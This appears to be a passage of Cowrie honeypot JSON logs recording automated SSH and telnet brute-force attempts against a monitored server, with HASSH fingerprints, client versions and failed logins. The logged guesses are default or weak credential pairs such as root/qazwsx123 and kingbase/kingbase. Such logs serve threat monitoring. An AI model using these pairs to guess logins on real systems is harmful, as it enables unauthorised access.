{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:18.178770Z","src_ip":"176.65.132.129","session":"6f3e8bc5f14c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:18.426799Z","src_ip":"176.65.132.129","session":"6f3e8bc5f14c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:19.543367Z","src_ip":"176.65.132.129","session":"6f3e8bc5f14c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60332,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd1c24b38fee","protocol":"ssh","message":"New connection: 176.65.132.129:60332 (159.203.135.109:22) [session: cd1c24b38fee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:21.527473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:21.535590Z","src_ip":"176.65.132.129","session":"cd1c24b38fee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:21.618225Z","src_ip":"176.65.132.129","session":"cd1c24b38fee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123","message":"login attempt [root/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:21.917017Z","src_ip":"176.65.132.129","session":"cd1c24b38fee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:23.002339Z","src_ip":"176.65.132.129","session":"cd1c24b38fee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60348,"dst_ip":"159.203.135.109","dst_port":22,"session":"33b2880e34fb","protocol":"ssh","message":"New connection: 176.65.132.129:60348 (159.203.135.109:22) [session: 33b2880e34fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:25.134856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:25.140272Z","src_ip":"176.65.132.129","session":"33b2880e34fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:25.222632Z","src_ip":"176.65.132.129","session":"33b2880e34fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:25.472742Z","src_ip":"176.65.132.129","session":"33b2880e34fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:26.559384Z","src_ip":"176.65.132.129","session":"33b2880e34fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":48750,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a6f9500621f","protocol":"telnet","message":"New connection: 45.58.127.90:48750 (10.17.0.5:23) [session: 1a6f9500621f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:27.798298Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36420,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbcd0d9eccd3","protocol":"ssh","message":"New connection: 176.65.132.129:36420 (159.203.135.109:22) [session: dbcd0d9eccd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:28.530751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:28.535871Z","src_ip":"176.65.132.129","session":"dbcd0d9eccd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:28.618103Z","src_ip":"176.65.132.129","session":"dbcd0d9eccd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"ai","message":"login attempt [ai/ai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:28.870327Z","src_ip":"176.65.132.129","session":"dbcd0d9eccd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:29.955323Z","src_ip":"176.65.132.129","session":"dbcd0d9eccd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36422,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea11a8806aa6","protocol":"ssh","message":"New connection: 176.65.132.129:36422 (159.203.135.109:22) [session: ea11a8806aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:31.968524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:31.973794Z","src_ip":"176.65.132.129","session":"ea11a8806aa6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:32.055923Z","src_ip":"176.65.132.129","session":"ea11a8806aa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:32.301694Z","src_ip":"176.65.132.129","session":"ea11a8806aa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:33.388970Z","src_ip":"176.65.132.129","session":"ea11a8806aa6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36434,"dst_ip":"159.203.135.109","dst_port":22,"session":"84e09020295b","protocol":"ssh","message":"New connection: 176.65.132.129:36434 (159.203.135.109:22) [session: 84e09020295b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:35.544721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:35.549467Z","src_ip":"176.65.132.129","session":"84e09020295b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:35.633817Z","src_ip":"176.65.132.129","session":"84e09020295b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:35.880291Z","src_ip":"176.65.132.129","session":"84e09020295b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:36.966084Z","src_ip":"176.65.132.129","session":"84e09020295b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":55937,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ce49c607788","protocol":"ssh","message":"New connection: 193.106.245.20:55937 (10.17.0.5:22) [session: 1ce49c607788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:37.423960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:37.429070Z","src_ip":"193.106.245.20","session":"1ce49c607788","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:37.958764Z","src_ip":"193.106.245.20","session":"1ce49c607788","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"apache","message":"login attempt [ubuntu/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:38.502276Z","src_ip":"193.106.245.20","session":"1ce49c607788","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40746,"dst_ip":"159.203.135.109","dst_port":22,"session":"785d3cad785e","protocol":"ssh","message":"New connection: 176.65.132.129:40746 (159.203.135.109:22) [session: 785d3cad785e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:38.974209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:38.978555Z","src_ip":"176.65.132.129","session":"785d3cad785e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:39.061800Z","src_ip":"176.65.132.129","session":"785d3cad785e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:39.311785Z","src_ip":"176.65.132.129","session":"785d3cad785e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:39.635430Z","src_ip":"193.106.245.20","session":"1ce49c607788","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:40.398322Z","src_ip":"176.65.132.129","session":"785d3cad785e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40750,"dst_ip":"159.203.135.109","dst_port":22,"session":"7efdc8e361a8","protocol":"ssh","message":"New connection: 176.65.132.129:40750 (159.203.135.109:22) [session: 7efdc8e361a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:42.414255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:10:42.419242Z","src_ip":"176.65.132.129","session":"7efdc8e361a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa",